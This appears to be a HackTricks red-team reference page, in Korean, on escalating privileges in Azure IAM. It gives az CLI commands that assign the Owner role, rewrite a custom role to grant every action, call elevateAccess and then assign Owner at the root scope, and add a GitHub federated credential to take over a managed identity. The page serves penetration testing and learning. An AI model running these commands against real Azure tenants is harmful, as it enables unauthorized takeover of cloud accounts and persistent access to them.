Az - Azure IAM Privesc (Authorization)

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Azure IAM

자세한 정보는 다음을 확인하세요:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

이 권한은 특정 범위에 대해 주체에게 역할을 할당할 수 있게 하여, 공격자가 자신에게 더 높은 권한의 역할을 할당함으로써 권한 상승을 할 수 있게 합니다:

bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

이 권한은 역할에 의해 부여된 권한을 수정할 수 있게 하여, 공격자가 자신이 할당한 역할에 더 많은 권한을 부여함으로써 권한 상승을 할 수 있게 합니다.

다음 내용으로 role.json 파일을 생성하십시오:

json
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

그런 다음 이전 정의를 호출하여 역할 권한을 업데이트합니다:

bash
az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

이 권한은 권한을 상승시키고 Azure 리소스에 대한 권한을 모든 주체에게 할당할 수 있게 해줍니다. 이는 Entra ID Global Administrators에게 부여되어 Azure 리소스에 대한 권한을 관리할 수 있도록 설계되었습니다.

tip

elevate 호출이 작동하려면 사용자가 Entra ID의 Global Administrator여야 한다고 생각합니다.

bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

이 권한은 관리되는 ID에 연합 자격 증명을 추가할 수 있게 해줍니다. 예를 들어, 관리되는 ID에 대한 리포지토리에서 Github Actions에 대한 액세스를 부여합니다. 그런 다음, 사용자가 정의한 관리되는 ID에 액세스할 수 있게 해줍니다.

관리되는 ID에 Github의 리포지토리에 대한 액세스를 부여하는 예제 명령:

bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기